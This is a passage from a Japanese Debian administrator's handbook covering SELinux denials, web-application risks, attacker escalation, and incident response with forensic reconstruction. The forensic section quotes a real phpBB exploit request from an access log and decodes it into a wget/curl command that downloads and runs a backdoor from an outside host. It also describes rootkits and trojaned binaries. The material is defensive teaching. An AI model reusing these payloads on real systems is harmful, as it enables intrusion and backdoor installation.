avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino
    ➥ =5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t
    ➥ :s0 tclass=fifo_file permissive=1
```

このメッセージをより詳しく理解するために、それぞれの要素について勉強しましょう。

SELinux ログエントリを観察することで、その操作を許可するために必要なルールを構築することが可能です。たとえば例に挙げた操作を許可するルールは allow syslogd_t device_t:fifo_file { read write } のようになります。この作業は自動化することが可能です。これが `audit2allow` コマンド (**policycoreutils** パッケージに含まれます) の役割です。設定する必要のある内容に応じてさまざまなオブジェクトが既に正しくラベリングされている場合にのみ、このアプローチは役に立ちます。いずれにせよ、管理者は必ず生成されたルールを注意深く確認し、アプリケーションに対する知識に基づいてルールの妥当性を検査しなければいけません。事実上、このアプローチはアプリケーションが本当に必要としている権限よりも多くの権限を与えようとします。ほとんどの場合、新しい SELinux タイプを作成し、作成した SELinux タイプだけに権限を与えることが適切な解決策と言えます。また、拒否された操作がアプリケーションにとって致命的でない場合もあります。この場合、「dontaudit」ルールを追加するだけに留めることがより良い解決策かもしれません。こうすることで、実際の実行を拒否するのではなくログエントリの記録だけが拒否されます。

COMPLEMENTS

SELinux ロールを設定されていないポリシールール

新しいルールを作成した際に、SELinux ロールが 1 つも設定されていないことは不思議に見えるかもしれません。SELinux は許されている操作の見つかった SELinux ドメインだけを使います。SELinux ロールはユーザが他の SELinux ドメインに切り替えることを許可することで間接的に権限処理に介在するだけです。SELinux は **Type Enforcement** として知られる理論に基づいており、権限を獲得する際に考慮される要素は SELinux タイプだけです。

ファイルのコンパイル

3 個のファイル (`example.if`、`example.fc`、`example.te`) が新しいルールに関する管理者の期待と一致したら、`make NAME=devel` を実行して `example.pp` ファイルの形でモジュールを生成します (`semodule -i example.pp` を使ってすぐさまこのモジュールをインストールすることが可能です)。複数のモジュールを定義した場合、`make` はすべての対応する `.pp` ファイルを生成します。

メッセージ	説明
avc: denied	操作が拒否されました。
{ read write }	この操作には read と write パーミッションが必要です。
pid=1876	PID 1876 のプロセスがこの操作を実行しました (または実行を試行しました)。
comm="syslogd"	プロセスは syslogd プログラムのインスタンスです。
name="xconsole"	対象のオブジェクトは xconsole と名付けられました。場合によってはこれの代わりにフルパスを含む「path」変数が設定されていることもあります。
dev=tmpfs	対象のオブジェクトをホストしているデバイスは tmpfs (メモリ内ファイルシステム) です。実ディスクの場合、オブジェクトをホストしているパーティション (たとえば「sda3」) になります。
ino=5510	オブジェクトは inode 番号 5510 で識別されています。
scontext=system_u:system_r:syslogd_t:s0	これは操作を実行したプロセスのセキュリティコンテキストです。
tcontext=system_u:object_r:device_t:s0	これは対象オブジェクトのセキュリティコンテキストです。
tclass=fifo_file	対象オブジェクトは FIFO ファイルです。

表 14.1　SELinux ログエントリの解析

14.6. セキュリティ関連で他に考慮すべき点

セキュリティとは単なる技術的問題ではありません。セキュリティに関して最も重要なことは十分に実践したり、危険を理解したりすることです。この節では、いくつかのより一般的な危険および最良の実践例を見直します。ここで挙げた事例を実践することで、セキュリティを向上させたり、攻撃が成功してもその影響を小さなものにしたりすることが可能です。

14.6.1. ウェブアプリケーションの持つ潜在的危険性

ウェブアプリケーションはその普遍的特徴のおかげで広く使われています。いくつかのウェブアプリケーションは同時に実行されます。たとえばウェブメール、wiki、グループウェアシステム、フォーラム、写真ギャラリー、ブログなどは同時に実行されます。これらのウェブアプリケーションは「LAMP」(**Linux、Apache、MySQL、PHP**) スタックに頼っています。残念なことに、多くのウェブアプリケーションがセキュリティ問題を深く考えずに書かれています。外部から提供されるデータは、その妥当性を少しだけ検査するか、全く検査せずに使わることが多いです。特別に細工した値をアプリケーションに渡すことで、あるコマンドの代わりに他のコマンドを実行させることが可能です。最も自明な問題の多くは時間がたてば修正されますが、定期的に新しいセキュリティ問題が生じます。

VOCABULARY

SQL インジェクション

プログラムが安全性に欠けるやり方で SQL クエリにデータを挿入している場合、プログラムは SQL インジェクションに対して脆弱になります。SQL インジェクションとは、パラメータを変更することで、プログラムが実行する実際のクエリを意図しないものに変える行為を指します。SQL インジェクションによりデータベースが破壊されたり、通常は利用できないデータへのアクセスが可能になります。

➨ `http://en.wikipedia.org/wiki/SQL_Injection`

このため、定期的なウェブアプリケーションの更新は不可欠です。これにはクラッカー (プロフェッショナルな攻撃者であるかスクリプトキディであるかに関わらず) からの既知の脆弱性を利用した攻撃を防ぐという意味合いがあります。実際のリスクは場合によりますが、データの破壊、任意のコード実行、ウェブサイトの書き換えなどの範囲におよびます。

14.6.2. 予測される結果を知る

ウェブアプリケーションの持つ脆弱性はクラッキング行為の足掛かりとして使われることが多いです。以下では、そこから考えられる結果の短い概観を示します。

QUICK LOOK

HTTP クエリのフィルタ

Apache 2 には、入って来る HTTP クエリをフィルタするモジュールが含まれています。このモジュールを使うことで、いくつかの攻撃ベクトルを妨害することが可能です。たとえば、パラメータの長さに制限を設けることで、バッファオーバーフローを避けることが可能です。より一般的に言えば、ウェブアプリケーションにパラメータを渡す前にパラメータの妥当性を検査させ、多くの基準に従ってアクセス制限を加えることが可能です。さらにこれを動的なファイアウォールの更新に統合することが可能です。こうすることで、ルールを破ったクライアントは指定された期間ウェブサーバへのアクセスを禁止されることになります。

この種のフィルタを設定することは長く厄介な作業ですが、配備予定のウェブアプリケーションのセキュリティに関する実績が疑わしい場合に効果があります。

mod-security2 (**libapache2-mod-security2** パッケージに含まれます) はこの機能を提供する主要なモジュールです。**mod-security2** には簡単に有効化できる専用のすぐに使える数多くのルールが含まれます (**modsecurity-crs** パッケージに含まれます)。

不正侵入に成功した後にどのようなことが行われるかは攻撃者のやる気に依存します。**スクリプトキディ**はウェブサイトで探し出したレシピを適用するだけです。そしてほとんどの場合、**スクリプトキディ**は攻撃先のウェブページを書き換えるかデータを削除するかします。さらに悪賢い**スクリプトキディ**はサーチエンジンでより高い順位に自分のサイトを表示させるために攻撃先のウェブページに不可視の内容を追加します。

さらに上級の攻撃者はこれ以上のことを行います。最悪の筋書きは以下の手順で進みます。すなわち、攻撃者は www-data ユーザ権限でコマンドを実行する能力を取得しますが、コマンドを実行するには数多くの操作を必要とします。作業を簡単に行うために、攻撃者はさらに別のウェブアプリケーションをインストールします。ここでインストールされるウェブアプリケーションはさまざまなコマンド (ファイルシステムの閲覧、パーミッションの検査、ファイルのアップロードおよびダウンロードなど) のリモート実行およびネットワークシェルの提供に特化して設計されています。しばしば、脆弱性を使うことで `wget` コマンドを使ってマルウェアを `/tmp/` にダウンロードし、マルウェアを実行することが可能になります。このマルウェアは既に不正侵入されている別のウェブサイトからダウンロードされます。こうすることで攻撃者の痕跡がなくなり、本当の攻撃元に関するヒントを調査することが難しくなります。

この時点で、攻撃者は IRC **ボット** (IRC サーバに接続してチャンネルから操作されるロボット) をインストールできる程度の権限を取得しています。この IRC ボットは非合法ファイル (映画やソフトウェアなどの無断コピー) を共有するために使われることが多いです。意欲的な攻撃者はさらに先へ行きます。www-data アカウントはマシンに対する完全なアクセスを許されていないので、攻撃者は管理者権限を取得しようとするでしょう。今現在、これは不可能であるべきです。しかし、ウェブアプリケーションが最新の状態でなければ、おそらくカーネルやその他のプログラムも古いことでしょう。これはしばしばローカルユーザがいないため脆弱性に関して知っているにも関わらずシステムのアップグレードを無視している管理者の判断です。攻撃者はこの 2 番目の脆弱性に乗じて root アクセスを取得します。

VOCABULARY

特権昇格

特権昇格という用語は通常ユーザに与えられていないより高位のパーミッションを取得するために使われる操作のすべてを意味しています。`sudo` プログラムはまさにユーザに指定した管理者権限を与える目的で設計されました。しかし、同じ用語を使って不当な権限を取得するために脆弱性を活用する攻撃者の振る舞いを表すこともあります。

これで、攻撃者はマシンを自らのコントロール下に置くことができました。通常、攻撃者はこの特権アクセスを可能な限り長く維持しようとします。そのために攻撃者は **rootkit** をインストールします。**rootkit** とは後から攻撃者が管理者権限を取得することを可能にするためにいくつかのシステムの要素を置き替えるプログラムです。さらに rootkit は自分の存在および侵入の形跡を隠そうともします。改竄された `ps` プログラムはいくつかのプロセスを無視するでしょうし、改竄された `netstat` はいくつかの活動中の接続を表示しないでしょう。攻撃者は root 権限を使うことでシステム全体を観察することが可能でしたが、重要なデータは見つかりませんでした。そこで攻撃者はさらに同じネットワーク内の他のマシンにアクセスしようとするでしょう。管理者アカウントと履歴ファイルを解析することで、攻撃者は日常的にアクセスしているマシンを見つけ出します。`sudo` や `ssh` を改竄されたプログラムで置き換えることにより、攻撃者は管理者パスワードを横取りすることが可能です。攻撃者はここで横取りした管理者パスワードを検出されたサーバで使い、さらに侵入を進めます。

ここで述べた最悪の筋書きはいくつかの取り組みによって避けることが可能です。以降の節では、その取り組みについて説明します。

14.6.3. 賢い方法でソフトウェアを選ぶ

潜在的なセキュリティ問題が知られると、管理者はサービスを配備するプロセスの各段階 (特にインストールするソフトウェアを選ぶ際) でこのセキュリティ問題に気を配らなければいけません。SecurityFocus.com などの多くのウェブサイトが最近発見された脆弱性のリストを管理しています。このおかげで、特定のソフトウェアを配備する前にそのソフトウェアのセキュリティ実績の情報を得ることが可能です。もちろん、この情報はそのソフトウェアの人気に比例しています。すなわち、広く使われているプログラムほど標的にされ、結果として注意深く検査されます。逆に、セキュリティ監査に対する関心が欠如していたために、特定分野のプログラムはまだ公表されていない数多くのセキュリティホールを隠しているかもしれません。

VOCABULARY	
セキュリティ監査	セキュリティ監査とはソフトウェアが持つ潜在的なセキュリティ脆弱性を探すためにあるソフトウェアのソースコードを徹底的に読んだり解析することを言います。通常セキュリティ監査は積極的な行動であり、プログラムがある種のセキュリティ要件を満足していることを保証するために行われます。

通常フリーソフトウェア世界には多くの選択肢があります。そして、ソフトウェアは現場で適用する基準と同じ選択基準に従い決定するべきです。多くの機能を備えるということは、コードに隠された脆弱性の危険性を増加させることを意味します。そして実際、あるタスクに関する最も先進的なプログラムを選ぶことは逆効果となる可能性があり、要求を満足する最も単純なプログラムを選ぶことのほうがより良い選択と言えるでしょう。

VOCABULARY	
ゼロデイ脆弱性	**ゼロデイ脆弱性**攻撃は防ぐことが難しいです。さらにこの用語は対象プログラムの開発者がまだ知らない脆弱性の意味も持っています。

14.6.4. マシン全体の管理

多くの Linux ディストリビューションはデフォルトで多数の Unix サービスと多くのツールをインストールします。多くの場合、デフォルトでインストールされるサービスとツールは管理者がマシンをセットアップする本来の目的に必要なものではありません。セキュリティには一般的な指針があり、それは不要なソフトウェアをアンインストールすることが最良の選択であるという指針です。実際、もし FTP サーバ以外の未使用のサービスに含まれる脆弱性を使ってマシン全体の管理者権限が取得される可能性があるのなら、FTP サーバを守ることに意味はありません。

同様の理由で、通常ファイアウォールは公開アクセスされる予定のサービスへのアクセスだけを許可するように設定されます。

現在のコンピュータは複数のサービスを 1 台の物理マシン上でホストできる程度に十分強力です。財政的な観点からすると、この可能性は興味深いものです。なぜなら、管理するコンピュータの台数を 1 台で済ませたり、エネルギー消費量を減らしたりすることが可能だからです。しかしながら、セキュリティの観点からすると、このやり方には問題があります。1 つのサービスが不正侵入を受けるだけでマシン全体にアクセスできるようになり、さらに同じコンピュータ上でホストされている他のサービスも不正侵入を受けます。サ

ービスを隔離することでこのリスクを緩和することが可能です。サービスを隔離するには、仮想化 (各サービスを専用の仮想マシンやコンテナでホストさせる) や AppArmor/SELinux (それぞれのサービスデーモンに適切に設計された一連のパーミッションを設定する) を使います。

14.6.5. 内部ユーザからの保護

セキュリティに関する議論と言えばすぐに、インターネットの無法地帯に隠れた匿名のクラッカーによる攻撃に対する保護を思い浮かべることでしょう。しかし忘れられがちですが、内部にもリスク源が存在します。具体的に言えば、退職を控えている雇用者は重要なプロジェクトの機密ファイルをダウンロードしてこれを競争相手に売ることが可能です。不注意なセールスマンは新しい顧客とのミーティング中にセッションをロックせずに離席します。不器用なユーザは誤って間違ったディレクトリを削除します。

これらのリスクは技術的に解決できます。つまり、最低限必要な権限よりも高位の権限をユーザに与えるべきではありませんし、定期的なバックアップは必ず必要です。しかし多くの場合、リスクを避けるためにユーザを教育することがより適切なやり方と言えるでしょう。

QUICK LOOK
autolog

autolog パッケージを使うことで、設定可能な遅延時間の後、活動していないユーザからの接続を自動的に切断することが可能です。また、セッションの終了した後に残っているユーザプロセスを kill することが可能です。これにより、ユーザがデーモンを実行することを避けることが可能です。

14.6.6. 物理セキュリティ

コンピュータ本体が保護されていなければ、サービスとネットワークの保護は無意味です。重要なデータは RAID アレイ内のホットスワップ対応のハードディスクに保存するだけの価値があります。なぜならハードディスクは壊れるものですし、データの可用性は不可欠だからです。しかし、ピザ配達人が建物に入って、サーバ部屋に忍び込んで、いくつかの選ばれたハードディスクを盗んで逃げることが可能な場合、セキュリティの重要な部分が満足されていません。誰がサーバ部屋に入れるのでしょうか? 入室と退室は監視されていますか? これらの質問は物理セキュリティを評価する際に考慮 (そして回答) に値します。

物理セキュリティには、たとえば火事などの災害のリスクを考慮することも含まれます。災害という特別なリスクがあるために、バックアップメディアを別の建物か少なくとも防火金庫に保存することが正当化されます。

14.6.7. 法的責任

管理者は程度の差はあれど暗黙のうちに自分の管理するユーザと一般のネットワークユーザから信頼されています。このため、ユーザは管理者に対して自分の過失が悪意ある人によって不正利用されることがないように自分を守ることを期待しています。

あなたが管理しているマシンの制御を奪った攻撃者は、このマシンを前進基地 (「踏み台」として知られています) として使います。管理しているマシンから他の不正な活動を実行されることにより、あなたは法的な問題を被ることになります。なぜなら、攻撃された当事者にしてみれば、あなたのシステムが攻撃元に見えるため、あなたを攻撃者本人 (または共犯者) とみなすでしょう。多くの場合、攻撃者はスパムを送信するための中継サーバとしてあなたのサーバを使います。これは大きな影響をおよぼすものではありません (ブラック

リストに登録されて、正規の電子メールを送信することに制限を受けるという潜在的な問題点を除きます)。とは言ってもこれは気持ちのよいものではありません。また別の場合、あなたのマシンはサービス拒否攻撃などのより重大な問題の要因になります。これはしばしば損失をもたらす場合があります。なぜなら、正規のサービスが利用できなくなり、データが破壊されるからです。さらに実質的な経費が掛かるという意味を持つ場合もあります。なぜなら、攻撃された当事者はあなたに対して法的手続きを開始するからです。すなわち、著作権で守られた著作物の認可されていない複製があなたのサーバから共有された場合、権利者はあなたに対して訴訟を起こすことが可能です。さらに、サービス水準合意を交わした他の企業があなたのマシンから攻撃を受けた場合に罰金を支払う契約になっている場合、彼らもあなたに対して訴訟を起こすことが可能です。

これらの状況に陥ると、無罪を主張するだけでは通常十分ではありません。少なくとも、ある IP アドレスを経由してあなたのシステム上で行われた疑わしい活動に関する説得力のある証拠を提出する必要があります。この章の推奨を無視し、攻撃者に特権アカウント (特に root) へのアクセスの取得を許し、攻撃者が痕跡を消すために特権アカウントを使うことを許していれば、証拠の提出は不可能です。

14.7. 不正侵入されたマシンの取り扱い

最良の心構えと注意深く設計されたセキュリティポリシーにも関わらず、結局のところ管理者は乗っ取りに直面します。この節では、不幸な状況に直面した場合の対応方法に関して、いくつかの指針を紹介します。

14.7.1. クラッカー不正侵入の検出と観察

クラッキング対応の最初の段階はクラッキング行為を把握することです。クラッキング行為を特に十分な監視設備がない状態で把握することは不可能です。

マシンでホストされている正規のサービスに直接的な影響をおよぼすまで (たとえば接続が遅くなったり、一部のユーザが接続できなくなったり、さまざまな誤作動が起きたりするまで)、クラッキング行為は気付かれないことが多いです。これらの問題に直面したら、管理者はマシンをよく見て不正行為を注意深く調べることが必要です。通常この時点で異常なプロセスが発見されます。たとえば標準的な /usr/sbin/apache2 の代わりに apache と名付けられたプロセスなどが発見されます。この例に従うなら、やるべきことはプロセス ID を確認して、このプロセスによって現在実行されているプログラムの実体を確認するために /proc/**pid**/exe を確認することです。

```
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd
    ➥ /psybnc
```

プログラムが /var/tmp/ の下にインストールされ、ウェブサーバの権限で実行している? 間違いありません。マシンは不正侵入されています。

これは一例に過ぎませんが、他にも管理者のアンテナに引っかかるような数多くの手掛かりが存在します。

- もはや動作しないはずのオプションを使っているコマンド。コマンドの主張するソフトウェアバージョンが dpkg によってインストールされたと考えられるバージョンと一致しない可能性があります。
- 最後の接続元が別の大陸にある未知のサーバということを示すコマンドプロンプトやセッション挨拶文。

- /tmp/ パーティションが満杯になったことによるエラー。/tmp/ パーティションが大量の映画の不正コピーで満杯になっている可能性があります。
- などです。

14.7.2. サーバをオフラインにする

クラッキングが最も派手に行われる場合を除けば、クラッキングはネットワーク経由で行われ、攻撃者は目標 (機密データへのアクセス、不正ファイルの共有、踏み台としてマシンを使うことによる本人識別情報の隠匿など) を達成するためにネットワークを必要とします。攻撃者がまだクラッキング行為を完了していないならば、ネットワークからコンピュータを切り離すことで攻撃者は目標を達成できなくなります。

サーバが物理的にアクセスできなければ、コンピュータをネットワークから切り離すことは不可能です。サーバがホスティングプロバイダの物凄く遠くにあるデータセンターでホストされていたり、その他の理由でサーバにアクセスできない場合、いくつかの重要な情報の収集を開始して (第 14.7.3 節「証拠として使えるすべての保存」415 ページ、第 14.7.5 節「フォレンジック解析」416 ページ、第 14.7.6 節「攻撃シナリオの再構成」417 ページを参照してください)、可能な限り多くの (通常 sshd を除くすべての) サービスをシャットダウンすることで、可能な限りサーバを隔離することは通常良いアイディアです。これはまだ都合が悪い状態です。なぜなら、攻撃者は管理者がしているのと同様に SSH アクセスできるからです。このため、マシンを「きれいに」することは難しいです。

14.7.3. 証拠として使えるすべての保存

攻撃を理解したり攻撃者に対して法的手段を取ったりするには、すべての重要な要素の複製を取ることが必要です。ここで重要な要素にはハードディスクの内容、すべての実行中プロセスのリスト、すべての開かれた接続のリストなどが含まれます。RAM の内容が重要な要素に含められる場合もありますが、実際に RAM の内容が役に立つことはまれです。

作業中に、管理者は不正侵入されたマシン上で数多くの事項を確認しようとします。しかし通常これは避けるべきです。すべてのコマンドは破壊されている可能性があり、さまざまな証拠を消してしまいます。管理者は最低限の確認 (ネットワーク接続状態を確認する `netstat -tupan`、プロセスのリストを確認する `ps auxf`、実行中プログラムのより詳しい情報を確認する `ls -alR /proc/[0-9]*`) だけを実行し、実行したすべての確認事項を注意深く記録するべきです。

CAUTION

その場解析

特にサーバが物理的にアクセスできない場合、起動中のシステムを解析したいと思うかもしれませんが、これは特に避けるべきです。なぜなら特に単純に言って、不正侵入されたシステムに現在インストールされているプログラムを信頼できないからです。破壊された ps コマンドが一部のプロセスを非表示にしたり、破壊された ls が一部のファイルを非表示にしたりする可能性は高いと言って良いでしょう。場合によってはカーネルに不正侵入されることすらあるのです!

これでもまだその場解析が必要な場合、既知の良好なプログラムだけを使うように注意するべきです。これを行う良い方法は、破壊されていないプログラムが含まれるレスキュー CD または読み込み専用のネットワーク共有を使うことです。しかしながらカーネル自身が不正侵入されている場合、これらの対策方法では不十分な場合があります。

「動的な」要素の保存が完了したら、次にハードディスクの完全なイメージを保存します。ファイルシステムの内容が書き変えられている最中に完全なイメージを作ることは不可能です。そのため、ファイルシステムを読み込み専用で再マウントする必要があります。最も簡単な解決策として、(sync を実行した後に) サーバを無理やり停止し、レスキュー CD を使って再起動することがよく行われます。各パーティションは dd などのツールを使ってコピーされるべきです。この種のイメージを他のサーバに送信することが可能です (場合によってはとても便利な nc ツールを使って送信します)。他のより簡単な方法もあります。その方法とは不正侵入されたマシンからディスクを取り出して、再フォーマットおよび再インストールしても問題ない新しいディスクで置き換える方法です。

14.7.4. 再インストール

不正侵入されたサーバを完全に再インストールする前にオンラインに戻すべきではありません。深刻な不正侵入の場合 (管理者権限が奪われていた場合)、再インストール以外に攻撃者が残したすべて (特に**バックドア**) が一掃されたことを保証する方法はほぼ存在しません。もちろん、攻撃者の使う脆弱性をふさぐために、すべての最新のセキュリティ更新を適用しなければいけません。理想的に言えば、不正侵入の形跡を解析することで、この最新のセキュリティ更新によってふさがれる脆弱性を使って不正侵入が行われたことが明らかになるべきです。そうすれば、実際に攻撃ベクトルが修正されたことを保証することが可能です。しかしこれができなければ、更新によって不正侵入の足掛かりとなった脆弱性が修正されたことを期待することしかできません。

リモートサーバの再インストールは常に簡単というわけではありません。ホスティング会社の手助けが必要になる場合もあります。なぜなら、ホスティング会社のすべてが自動再インストールシステムを提供しているとは限らないからです。不正侵入後に取られたバックアップからマシンを再インストールしないように注意してください。理想的に言えば、データだけを回復するべきです。実際のソフトウェアはインストールメディアから再インストールされるべきです。

14.7.5. フォレンジック解析

サービスが回復したら、攻撃ベクトルを理解するために不正侵入されたシステムのディスクイメージの詳細な調査を開始します。ディスクイメージをマウントする際に、ro,nodev,noexec,noatime オプションを使うことに注意してください。これは (ファイルにアクセスしたタイムスタンプを含めて) 内容の変更を防ぎ、誤って破壊されたプログラムを実行することを防ぐ意味合いがあります。

通常、攻撃シナリオを追跡するには変更されて実行されたすべてを探し出すことが必要です。

- .bash_history ファイルには、極めて興味深い内容が含まれます。
- 最近作成、修正、アクセスされたファイルの一覧にも極めて興味深い内容が含まれます。
- strings コマンドは攻撃者がインストールしたプログラムを識別する助けになります。strings コマンドはバイナリからテキスト文字列を抽出します。
- /var/log/ 内のログファイルを使えば出来事の経過を追跡することが可能です。
- 特殊目的のツールを使うことで、削除された可能性のあるファイルすなわち攻撃者が削除することが多いログファイルなどの内容を復元することが可能です。

これらの操作は専用ソフトウェアを使うことで簡単に実行することが可能です。特に、**sleuthkit** パッケージにはファイルシステムを解析する多くのツールが含まれます。**Autopsy Forensic Browser** グラフィカルインターフェース (**autopsy** パッケージに含まれます) を使えば、これらのツールを簡単に使うことが可能です。

14.7.6. 攻撃シナリオの再構成

解析中に収集されたすべての要素はジグソーパズルのピースのように組み合わさるべきです。最初の疑わしいファイルの作成は侵害を証明するログと関係があることがしばしばあります。長ったらしい理論よりも実例の方が分かりやすいでしょう。

以下に Apache access.log から抜粋したログを示します。

```
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?
    ➥ t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252
    ➥ echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr
    ➥ (103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)
    ➥ %252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252
    ➥ echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252
    ➥ echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr
    ➥ (47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)
    ➥ %252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252
    ➥ echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr
    ➥ (97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr
    ➥ (105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)
    ➥ %252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252
    ➥ echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr
    ➥ (99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)
    ➥ %252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252
    ➥ echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527
    ➥ HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
```

これは phpBB の古いセキュリティ脆弱性を突いた例です。

➡ http://secunia.com/advisories/13239/

➡ http://www.phpbb.com/phpBB/viewtopic.php?t=240636

長い URL を復号することで、攻撃者がいくつかの PHP コードを実行しようと試みたことが理解できます。ここでは system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &") を実行しようと試みています。確かに、bd ファイルが /tmp/ の中で見つかりました。strings /mnt/tmp/bd を実行したところ、他の文字列に混じって、PsychoPhobia Backdoor is starting... が返されました。これはまさにバックドアのように見えます。

しばらくの後、このアクセスは地下 IRC ネットワークに接続する IRC **ボット**をダウンロード、インストール、実行するために使われました。この IRC ボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。IRC ボットは以下に示す自分専用のログファイルを持っています。

```
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE
    ➥  ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
```

```
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250
    ➥ .INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to
    ➥ 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-
    ➥ DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB
    ➥ )
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB
    ➥ /sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec,
    ➥ 80.2 KB/sec)
```

ログに残された痕跡によれば、82.50.72.202 という IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存されたことがわかります。

並行して、攻撃者はさらに `/tmp/pt` と `/tmp/loginx` にファイルをダウンロードしました。`strings` を使ってこれらのファイルを調べると、**Shellcode placed at 0x%08lx** や **Now wait for suid shell...** などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の侵害行為の後どのファイルも修正されていなかったからです。

この例では、不正侵入の手続きのすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを約 3 日間にわたって悪用することができたと推測することが可能です。しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正されたことを保証することが可能です。

キーワード

バックポート
再ビルド
ソースパッケージ
アーカイブ
メタパッケージ
Debian 開発者
メンテナ

章

15

Debian パッケージの作成

目次

ソースを使ったパッケージの再ビルド 422
最初のパッケージのビルド 425
APT 用のパッケージリポジトリの作成 429
パッケージメンテナになる 432

Debian パッケージを標準的な方法で取り扱ってきた管理者がいずれは自分自身のパッケージを作成したり、既存のパッケージを変更したりする必要性を感じるということは極めて普通のことです。この章ではパッケージングに関する最も一般的な質問に答えたり、最良のやり方で Debian インフラをうまく使うために必要な要素を提供したりすることを目標にしています。運が良ければ、ローカルパッケージを取り扱った後、さらに進んで Debian プロジェクト自体に参加する必要性を感じるかもしれません。

15.1. ソースを使ったパッケージの再ビルド

いくつかの状況下では、バイナリパッケージの再ビルドが必要です。たとえば、管理者は特定のコンパイルオプションを付けてソフトウェアをソースからコンパイルすることで導入されるソフトウェアの機能を必要とする場合があります。そしてまた、インストール済みの Debian のバージョン用にパッケージングされたソフトウェアのバージョンが古い場合があります。ソフトウェアのバージョンが古い場合、管理者は**テスト版**や**不安定版**などの Debian の新しいバージョンから取得したより新しいパッケージをビルドすることが多いです。こうすることで、新しいパッケージを**安定版**ディストリビューションで動かすことが可能です。この操作は「バックポート」と呼ばれています。いつも通り、バックポート作業の前に既にバックポートパッケージが公開されているか否かを注意深く確認するべきです。対象のパッケージに対する Debian Package Tracker を一読するだけでこの種の情報が明らかになります。

➡ `https://tracker.debian.org/`

15.1.1. ソースの取得

Debian パッケージの再ビルドはパッケージのソースコードを取得することから始まります。最も簡単な方法は `apt-get source` **`source-package-name`** コマンドを使うことです。このコマンドを実行するには `/etc/apt/sources.list` ファイルの中に deb-src 行が必要で、さらに最新のインデックスファイルが必要です (たとえば `apt-get update` を実行する必要があります)。管理者が APT 設定を取り扱う章で説明した内容 (第 6.1 節「`sources.list` ファイルの内容」102 ページを参照してください) に従っている場合、これらの状況は既に満足されているはずです。しかしながら、`apt-get source` **`source-package-name`** コマンドは deb-src 行で言及されている Debian バージョンのソースパッケージをダウンロードする点に注意してください。もし他のバージョンのソースパッケージが必要な場合、Debian アーカイブミラーや Debian のウェブサイトから手作業でダウンロードする必要があるかもしれません。この場合には 2、3 個のファイルをダウンロードする必要があります (**Debian Source Control** 用に `*.dsc` 拡張子を持つファイル、`*.tar.`**`comp`** としばしば `*.diff.gz` や `*.debian.tar.`**`comp`** 拡張子を持つファイル、ここで **comp** は使われている圧縮ツールに応じて gz、bz2、xz のうちのどれか 1 つです)。その後、`dpkg-source -x` **`file.dsc`** コマンドを実行します。`*.dsc` ファイルがある URL から直接利用できるならば、`dget` **`URL`** コマンドを使えばより簡単にすべてを取得することが可能です。dget コマンドは (**devscripts** パッケージに含まれます) 指定したアドレスから `*.dsc` ファイルを取得し、内容を解析し、ファイル内で参照されている単一もしくは複数のファイルを自動的に取得します。すべてのダウンロードが完了したら、dget コマンドはソースパッケージを展開します (これは -d または --download-only オプションが使われていない場合に限ります)。

15.1.2. 修正を行う

これでパッケージのソースがソースパッケージとバージョンを基に名付けられたディレクトリ (たとえば **samba-4.1.17+dfsg** など) の中で利用できるようになりました。修正作業はこのディレクトリ内で行われます。

